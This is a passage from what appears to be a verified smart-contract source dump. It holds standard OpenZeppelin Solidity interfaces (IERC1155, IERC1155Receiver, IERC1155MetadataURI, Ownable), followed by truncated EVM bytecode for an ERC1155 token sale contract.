{ return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x6080604052600436106101b85760003560e01c80634f64b2be116100eb57806395d89b411161008f578063e985e9c511610061578063e985e9c51461050c578063f242432a14610555578063f2fde38b14610575578063fc784d491461059557005b806395d89b41146104b7578063a22cb465146104cc578063bd85b039146102d9578063d2a5dc4a146104ec57005b806368c92c84116100c857806368c92c841461043d578063715018a614610450578063862440e2146104655780638da5cb5b1461048557005b80634f64b2be146103c85780635cc938ef146103fd57806365bcfbe71461041057005b80631b2ef1ca1161015d5780633a1352121161012f5780633a135212146103395780634a994eef146103595780634e1273f4146103795780634f558e79146103a657005b80631b2ef1ca146102c65780632693ebf2146102d95780632eb2c2d6146102f95780633404894b1461031957005b8063077796271161019657806307779627146102465780630cf77ea2146102665780630e89341c1461028657806319165587146102a657005b8062fdd58e146101c157806301ffc9a7146101f457806306fdde031461022457005b366101bf57005b005b3480156101cd57600080fd5b506101e16101dc366004612a6f565b6105b5565b6040519081526020015b60405180910390f35b34801561020057600080fd5b5061021461020f366004612ab1565b61064e565b60405190151581526020016101eb565b34801561023057600080fd5b506102396106a0565b6040516101eb9190612b22565b34801561025257600080fd5b50610214610261366004612b35565b61072e565b34801561027257600080fd5b506101bf610281366004612c97565b61077c565b34801561029257600080fd5b506102396102a1366004612d03565b610a7a565b3480156102b257600080fd5b506101bf6102c1366004612b35565b610b57565b6101bf6102d4366004612d1c565b610c5c565b3480156102e557600080fd5b506101e16102f4366004612d03565b61117f565b34801561030557600080fd5b506101bf610314366004612db1565b6111d4565b34801561032557600080fd5b506101bf610334366004612b35565b61126b565b34801561034557600080fd5b506101bf610354366004612e6e565b6112bc565b34801561036557600080fd5b506101bf610374366004612f19565b611429565b34801561038557600080fd5b50610399610394366004612f4e565b61147e565b6040516101eb9190612fec565b3480156103b257600080fd5b506102146103c1366004612d03565b6006541190565b3480156103d457600080fd5b506103e86103e3366004612d03565b6115a7565b6040516101eb99989796959493929190612fff565b6101bf61040b366004613067565b61171a565b34801561041c57600080fd5b506101e161042b366004612b35565b60076020526000908152604090205481565b6101bf61044b3660046130eb565b61180f565b34801561045c57600080fd5b506101bf611965565b34801561047157600080fd5b506101bf610480366004613164565b61199b565b34801561049157600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101eb565b3480156104c357600080fd5b50610239611a64565b3480156104d857600080fd5b506101bf6104e7366004612f19565b611a71565b3480156104f857600080fd5b5060055461049f906001600160a01b031681565b34801561051857600080fd5b506102146105273660046131df565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205460ff1690565b34801561056157600080fd5b506101bf610570366004613218565b611b47565b34801561058157600080fd5b506101bf610590366004612b35565b611bce565b3480156105a157600080fd5b506101bf6105b0366004612d1c565b611c2a565b60006001600160a01b0383166106265760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b5060009081526002602090815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b148061067f57506001600160e01b031982166303a24d0760e21b145b8061069a57506301ffc9a760e01b6001600160e01b03198316145b92915050565b600880546106ad90613280565b80601f01602080910402602001604051908101604052809291908181526020018280546106d990613280565b80156107265780601f106106fb57610100808354040283529160200191610726565b820191906000526020600020905b81548152906001019060200180831161070957829003601f168201915b505050505081565b600080546001600160a01b031633146107595760405162461bcd60e51b815260040161061d906132ba565b506001600160a01b03811660009081526001602052604090205460ff165b919050565b3360009081526001602052604090205460ff166107ab5760405162461bcd60e51b815260040161061d906132ef565b60065483106107f85760405162461bcd60e51b8152602060048201526019602482015278115490cc4c4d4d4e88125b9d985b1a59081d1bdad95b881a59603a1b604482015260640161061d565b60008251116108495760405162461bcd60e51b815260206004820152601f60248201527f455243313135353a204d7573742070726f7669646520312b2070617965657300604482015260640161061d565b80518251146108b05760405162461bcd60e51b815260206004820152602d60248201527f455243313135353a204d7573742070726f7669646520657175616c207061796560448201526c657320616e642073686172657360981b606482015260840161061d565b81600684815481106108c4576108c4613319565b90600052602060002090600a020160070190805190602001906108e89291906128be565b5080600684815481106108fd576108fd613319565b90600052602060002090600a02016008019080519060200190610921929190612923565b506000805b8251811015610a4a5760006001600160a01b031684828151811061094c5761094c613319565b60200260200101516001600160a01b0316036109aa5760405162461bcd60e51b815260206004820152601f60248201527f455243313135353a205061796565732063616e6e6f7420626520656d70747900604482015260640161061d565b60008382815181106109be576109be613319565b602002602001015111610a135760405162461bcd60e51b815260206004820152601f60248201527f455243313135353a205368617265732063616e6e6f7420626520656d70747900604482015260640161061d565b828181518110610a2557610a25613319565b602002602001015182610a389190613345565b9150610a438161335d565b9050610926565b508060068581548110610a5f57610a5f613319565b90600052602060002090600a02016009018190555050505050565b6060610a87826006541190565b610aa35760405162461bcd60e51b815260040161061d90613376565b60068281548110610ab657610ab6613319565b90600052602060002090600a02016006018054610ad290613280565b80601f0160208091040260200160405190810160405280929190818152602001828054610afe90613280565b8015610b4b5780601f10610b2057610100808354040283529160200191610b4b565b820191906000526020600020905b815481529060010190602001808311610b2e57829003601f168201915b50505050509050919050565b6001600160a01b038116600090815260076020526040902054610bbc5760405162461bcd60e51b815260206004820152601760248201527f455243313135353a204e6f2062616c616e636520647565000000000000000000604482015260640161061d565b6001600160a01b0381166000908152600760205260409020544711610c315760405162461bcd60e51b815260206004820152602560248201527f455243313135353a20496e737566666963656e7420636f6e74726163742062616044820152646c616e636560d81b606482015260840161061d565b6001600160a01b03811660009081526007602052604081208054919055610c588282611d26565b5050565b610c67826006541190565b610c835760405162461bcd60e51b815260040161061d90613376565b600060068381548110610c9857610c98613319565b90600052602060002090600a020190508060040160019054906101000a900460ff16610d065760405162461bcd60e51b815260206004820152601b60248201527f455243313135353a2053616c65206973206e6f74206163746976650000000000604482015260640161061d565b8060030154828260020154610d1b9190613345565b1115610d695760405162461bcd60e51b815260206004820152601d60248201527f455243313135353a204f72646572206578636565647320737570706c79000000604482015260640161061d565b34828260010154610d7a91906133c2565b1115610dd35760405162461bcd60e51b815260206004820152602260248201527f455243313135353a2045746865722073656e74206973206e6f7420636f72726560448201526118dd60f21b606482015260840161061d565b6000816009015411610e3c5760405162461bcd60e51b815260206004820152602c60248201527f455243313135353a20496e76616c696420746f6b656e20636f6e66696775726160448201526b74696f6e2c2073686172657360a01b606482015260840161061d565b6005546001600160a01b031615610f12576005546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba91906133e1565b11610f125760405162461bcd60e51b815260206004820152602260248201527f455243313135353a2041636365737320746f6b656e2062616c616e6365206973604482015261020360f41b606482015260840161061d565b341561115f576040805161016081018252825481526001830154602082015260028301549181019190915260038201546060820152600482015460ff8082161515608084015261010090910416151560a082015260058201805461115f9291849160c084019190610f8290613280565b80601f0160208091040260200160405190810160405280929190818152602001828054610fae90613280565b8015610ffb5780601f10610fd057610100808354040283529160200191610ffb565b820191906000526020600020905b815481529060010190602001808311610fde57829003601f168201915b5050505050815260200160068201805461101490613280565b80601f016020809104026020016040519081016040528092919081815260200182805461104090613280565b801561108d5780601f106110625761010080835404028352916020019161108d565b820191906000526020600020905b81548152906001019060200180831161107057829003601f168201915b50505050508152602001600782018054806020026020016040519081016040528092919081815260200182805480156110ef57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116110d1575b505050505081526020016008820180548060200260200160405190810160405280929190818152602001828054801561114757602002820191906000526020600020905b815481526020019060010190808311611133575b50505050508152602001600982015481525050611e3f565b61117a33848460405180602001604052806000815250611f7b565b505050565b600061118c826006541190565b6111a85760405162461bcd60e51b815260040161061d90613376565b600682815481106111bb576111bb613319565b90600052602060002090600a0201600301549050919050565b6001600160a01b0385163314806111f057506111f08533610527565b6112575760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b606482015260840161061d565b61126485858585856120d4565b5050505050565b3360009081526001602052604090205460ff1661129a5760405162461bcd60e51b815260040161061d906132ef565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526001602052604090205460ff166112eb5760405162461bcd60e51b815260040161061d906132ef565b6006548810806112fc575060065488145b6113445760405162461bcd60e51b8152602060048201526019602482015278115490cc4c4d4d4e88125b9d985b1a59081d1bdad95b881a59603a1b604482015260640161061d565b600654880361135a576006805460010181556000525b60006006898154811061136f5761136f613319565b6000918252602091829020600a9190910201868155600181018590556003810184905560048101805461ffff191689151561ff001916176101008815150217905589519092506113c7916005840191908b019061295e565b5086516113dd90600683019060208a019061295e565b5086511561141e57887f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b886040516114159190612b22565b60405180910390a25b505050505050505050565b6000546001600160a01b031633146114535760405162461bcd60e51b815260040161061d906132ba565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b606081518351146114e35760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e677468604482015268040dad2e6dac2e8c6d60bb1b606482015260840161061d565b600083516001600160401b038111156114fe576114fe612b52565b604051908082528060200260200182016040528015611527578160200160208202803683370190505b50905060005b845181101561159f5761157285828151811061154b5761154b613319565b602002602001015185838151811061156557611565613319565b60200260200101516105b5565b82828151811061158457611584613319565b60209081029190910101526115988161335d565b905061152d565b509392505050565b600681815481106115b757600080fd5b60009182526020909120600a909102018054600182015460028301546003840154600485015460058601805495975093959294919360ff80831694610100909304169261160390613280565b80601f016020809104026020016040519081016040528092919081815260200182805461162f90613280565b801561167c5780601f106116515761010080835404028352916020019161167c565b820191906000526020600020905b81548152906001019060200180831161165f57829003601f168201915b50505050509080600601805461169190613280565b80601f01602080910402602001604051908101604052809291908181526020018280546116bd90613280565b801561170a5780601f106116df5761010080835404028352916020019161170a565b820191906000526020600020905b8154815290600101906020018083116116ed57829003601f168201915b5050505050908060090154905089565b3360009081526001602052604090205460ff166117495760405162461bcd60e51b815260040161061d906132ef565b611754836006541190565b6117705760405162461bcd60e51b815260040161061d90613376565b3415611804576118046006848154811061178c5761178c613319565b60009182526020918290206040805161016081018252600a9093029091018054835260018101549383019390935260028301549082015260038201546060820152600482015460ff8082161515608084015261010090910416151560a082015260058201805491929160c084019190610f8290613280565b61117a8184846122ac565b3360009081526001602052604090205460ff1661183e5760405162461bcd60e51b815260040161061d906132ef565b611849856006541190565b6118655760405162461bcd60e51b815260040161061d90613376565b8281146118cd5760405162461bcd60e51b815260206004820152603060248201527f455243313135353a206163636f756e747320616e64207175616e74697469657360448201526f040d8cadccee8d040dad2e6dac2e8c6d60831b606482015260840161061d565b34156118e9576118e96006868154811061178c5761178c613319565b60005b8181101561195d5761194d83838381811061190957611909613319565b905060200201602081019061191e9190612b35565b8787878581811061193157611931613319565b9050602002013560405180602001604052806000815250611f7b565b6119568161335d565b90506118ec565b505050505050565b6000546001600160a01b0316331461198f5760405162461bcd60e51b815260040161061d906132ba565b61199960006124ad565b565b3360009081526001602052604090205460ff166119ca5760405162461bcd60e51b815260040161061d906132ef565b6119d5836006541190565b6119f15760405162461bcd60e51b815260040161061d90613376565b818160068581548110611a0657611a06613319565b90600052602060002090600a02016006019190611a249291906129d1565b50827f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8383604051611a579291906133fa565b60405180910390a2505050565b600980546106ad90613280565b6001600160a01b0382163303611adb5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c20737461747573604482015268103337b91039b2b63360b91b606482015260840161061d565b3360008181526003602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6001600160a01b038516331480611b635750611b638533610527565b611bc15760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b606482015260840161061d565b61126485858585856124fd565b6000546001600160a01b03163314611bf85760405162461bcd60e51b815260040161061d906132ba565b6001600160a01b0381166000908152600160208190526040909120805460ff19169091179055611c2781612610565b50565b3360009081526001602052604090205460ff16611c595760405162461bcd60e51b815260040161061d906132ef565b611c64826006541190565b611c805760405162461bcd60e51b815260040161061d90613376565b600060068381548110611c9557611c95613319565b90600052602060002090600a020190508181600201541115611d1f5760405162461bcd60e51b815260206004820152603760248201527f455243313135353a2053706563696669656420737570706c79206973206c6f7760448201527f6572207468616e2063757272656e742062616c616e6365000000000000000000606482015260840161061d565b6003015550565b80471015611d765760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161061d565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611dc3576040519150601f19603f3d011682016040523d82523d6000602084013e611dc8565b606091505b505090508061117a5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161061d565b60008060015b600184610100015151611e589190613429565b811015611f10578361014001518461012001518281518110611e7c57611e7c613319565b602002602001015134611e8f91906133c2565b611e999190613440565b925082600760008661010001518481518110611eb757611eb7613319565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000828254611eee9190613345565b90915550611efe90508383613345565b9150611f098161335d565b9050611e45565b50611f1b8134613429565b91508160076000856101000151600081518110611f3a57611f3a613319565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000828254611f719190613345565b9091555050505050565b611f86836006541190565b611fa25760405162461bcd60e51b815260040161061d90613376565b600060068481548110611fb757611fb7613319565b90600052602060002090600a020190508060030154838260020154611fdc9190613345565b111561202a5760405162461bcd60e51b815260206004820152601a60248201527f455243313135353a204e6f7420656e6f75676820737570706c79000000000000604482015260640161061d565b8281600201600082825461203e9190613345565b909155505060008481526002602090815260408083206001600160a01b038916845290915281208054859290612075908490613345565b9091555050604080518581526020810185905233916001600160a01b0388169160009184917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461195d816000888888886126a8565b81518351146121365760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b606482015260840161061d565b6001600160a01b03841661215c5760405162461bcd60e51b815260040161061d90613462565b3360005b845181101561224657600085828151811061217d5761217d613319565b60200260200101519050600085838151811061219b5761219b613319565b60209081029190910181015160008481526002835260408082206001600160a01b038e1683529093529190912054909150818110156121ec5760405162461bcd60e51b815260040161061d906134a7565b60008381526002602090815260408083206001600160a01b038e8116855292528083208585039055908b1682528120805484929061222b908490613345565b925050819055505050508061223f9061335d565b9050612160565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516122969291906134f1565b60405180910390a461195d818787878787612803565b6122b7826006541190565b6122d35760405162461bcd60e51b815260040161061d90613376565b6000600683815481106122e8576122e8613319565b90600052602060002090600a02019050818160020154101561234c5760405162461bcd60e51b815260206004820152601a60248201527f455243313135353a204e6f7420656e6f75676820737570706c79000000000000604482015260640161061d565b816006848154811061236057612360613319565b90600052602060002090600a020160020160008282546123809190613429565b92505081905550816006848154811061239b5761239b613319565b90600052602060002090600a020160030160008282546123bb9190613429565b909155505060008381526002602090815260408083206001600160a01b03881684529091529020548281101561243f5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b606482015260840161061d565b60008481526002602090815260408083206001600160a01b03891680855290835281842087860390558151888152928301879052339392909184917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0384166125235760405162461bcd60e51b815260040161061d90613462565b60008381526002602090815260408083206001600160a01b03891684529091529020543390838110156125685760405162461bcd60e51b815260040161061d906134a7565b60008581526002602090815260408083206001600160a01b038b81168552925280832087850390559088168252812080548692906125a7908490613345565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a46126078288888888886126a8565b50505050505050565b6000546001600160a01b0316331461263a5760405162461bcd60e51b815260040161061d906132ba565b6001600160a01b03811661269f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061d565b611c27816124ad565b6001600160a01b0384163b1561195d5760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906126ec908990899088908890889060040161351f565b6020604051808303816000875af1925050508015612727575060408051601f3d908101601f1916820190925261272491810190613564565b60015b6127d357612733613581565b806308c379a00361276c575061274761359d565b80612752575061276e565b8060405162461bcd60e51b815260040161061d9190612b22565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e20455243313135356044820152732932b1b2b4bb32b91034b6b83632b6b2b73a32b960611b606482015260840161061d565b6001600160e01b0319811663f23a6e6160e01b146126075760405162461bcd60e51b815260040161061d90613626565b6001600160a01b0384163b1561195d5760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190612847908990899088908890889060040161366e565b6020604051808303816000875af1925050508015612882575060408051601f3d908101601f1916820190925261287f91810190613564565b60015b61288e57612733613581565b6001600160e01b0319811663bc197c8160e01b146126075760405162461bcd60e51b815260040161061d90613626565b828054828255906000526020600020908101928215612913579160200282015b8281111561291357825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906128de565b5061291f929150612a45565b5090565b828054828255906000526020600020908101928215612913579160200282015b82811115612913578251825591602001919060010190612943565b82805461296a90613280565b90600052602060002090601f01602090048101928261298c5760008555612913565b82601f106129a557805160ff1916838001178555612913565b828001600101855582156129135791820182811115612913578251825591602001919060010190612943565b8280546129dd90613280565b90600052602060002090601f0160209004810192826129ff5760008555612913565b82601f10612a185782800160ff19823516178555612913565b82800160010185558215612913579182015b82811115612913578235825591602001919060010190612a2a565b5b8082111561291f5760008155600101612a46565b6001600160a01b0381168114611c2757600080fd5b60008060408385031215612a8257600080fd5b8235612a8d81612a5a565b946020939093013593505050565b6001600160e01b031981168114611c2757600080fd5b600060208284031215612ac357600080fd5b8135612ace81612a9b565b9392505050565b6000815180845260005b81811015612afb57602081850181015186830182015201612adf565b81811115612b0d576000602083870101525b50601f01601f19169290920160200192915050565b602081526000612ace6020830184612ad5565b600060208284031215612b4757600080fd5b8135612ace81612a5a565b634e487b7160e01b600052604160045260246000fd5b601f8201601f191681016001600160401b0381118282101715612b8d57612b8d612b52565b6040525050565b60006001600160401b03821115612bad57612bad612b52565b5060051b60200190565b600082601f830112612bc857600080fd5b81356020612bd582612b94565b604051612be28282612b68565b83815260059390931b8501820192828101915086841115612c0257600080fd5b8286015b84811015612c26578035612c1981612a5a565b8352918301918301612c06565b509695505050505050565b600082601f830112612c4257600080fd5b81356020612c4f82612b94565b604051612c5c8282612b68565b83815260059390931b8501820192828101915086841115612c7c57600080fd5b8286015b84811015612c265780358352918301918301612c80565b600080600060608486031215612cac57600080fd5b8335925060208401356001600160401b0380821115612cca57600080fd5b612cd687838801612bb7565b93506040860135915080821115612cec57600080fd5b50612cf986828701612c31565b9150509250925092565b600060208284031215612d1557600080fd5b5035919050565b60008060408385031215612d2f57600080fd5b50508035926020909101359150565b600082601f830112612d4f57600080fd5b81356001600160401b03811115612d6857612d68612b52565b604051612d7f601f8301601f191660200182612b68565b818152846020838601011115612d9457600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080600060a08688031215612dc957600080fd5b8535612dd481612a5a565b94506020860135612de481612a5a565b935060408601356001600160401b0380821115612e0057600080fd5b612e0c89838a01612c31565b94506060880135915080821115612e2257600080fd5b612e2e89838a01612c31565b93506080880135915080821115612e4457600080fd5b50612e5188828901612d3e565b9150509295509295909350565b8035801515811461077757600080fd5b600080600080600080600080610100898b031215612e8b57600080fd5b8835975060208901356001600160401b0380821115612ea957600080fd5b612eb58c838d01612d3e565b985060408b0135915080821115612ecb57600080fd5b50612ed88b828c01612d3e565b965050612ee760608a01612e5e565b945060808901359350612efc60a08a01612e5e565b925060c0890135915060e089013590509295985092959890939650565b60008060408385031215612f2c57600080fd5b8235612f3781612a5a565b9150612f4560208401612e5e565b90509250929050565b60008060408385031215612f6157600080fd5b82356001600160401b0380821115612f7857600080fd5b612f8486838701612bb7565b93506020850135915080821115612f9a57600080fd5b50612fa785828601612c31565b9150509250929050565b600081518084526020808501945080840160005b83811015612fe157815187529582019590820190600101612fc5565b509495945050505050565b602081526000612ace6020830184612fb1565b60006101208b83528a6020840152896040840152886060840152871515608084015286151560a08401528060c084015261303b81840187612ad5565b905082810360e084015261304f8186612ad5565b915050826101008301529a9950505050505050505050565b60008060006060848603121561307c57600080fd5b8335925060208401359150604084013561309581612a5a565b809150509250925092565b60008083601f8401126130b257600080fd5b5081356001600160401b038111156130c957600080fd5b6020830191508360208260051b85010111156130e457600080fd5b9250929050565b60008060008060006060868803121561310357600080fd5b8535945060208601356001600160401b038082111561312157600080fd5b61312d89838a016130a0565b9096509450604088013591508082111561314657600080fd5b50613153888289016130a0565b969995985093965092949392505050565b60008060006040848603121561317957600080fd5b8335925060208401356001600160401b038082111561319757600080fd5b818601915086601f8301126131ab57600080fd5b8135818111156131ba57600080fd5b8760208285010111156131cc57600080fd5b6020830194508093505050509250925092565b600080604083850312156131f257600080fd5b82356131fd81612a5a565b9150602083013561320d81612a5a565b809150509250929050565b600080600080600060a0868803121561323057600080fd5b853561323b81612a5a565b9450602086013561324b81612a5a565b9350604086013592506060860135915060808601356001600160401b0381111561327457600080fd5b612e5188828901612d3e565b600181811c9082168061329457607f821691505b6020821081036132b457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201526f496e76616c69642064656c656761746560801b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156133585761335861332f565b500190565b60006001820161336f5761336f61332f565b5060010190565b6020808252602c908201527f455243313135353a2053706563696669656420746f6b656e202869642920646f60408201526b195cc81b9bdd08195e1a5cdd60a21b606082015260800190565b60008160001904831182151516156133dc576133dc61332f565b500290565b6000602082840312156133f357600080fd5b5051919050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60008282101561343b5761343b61332f565b500390565b60008261345d57634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6040815260006135046040830185612fb1565b82810360208401526135168185612fb1565b95945050505050565b6001600160a01b03868116825285166020820152604081018490526060810183905260a0608082018190526000906135599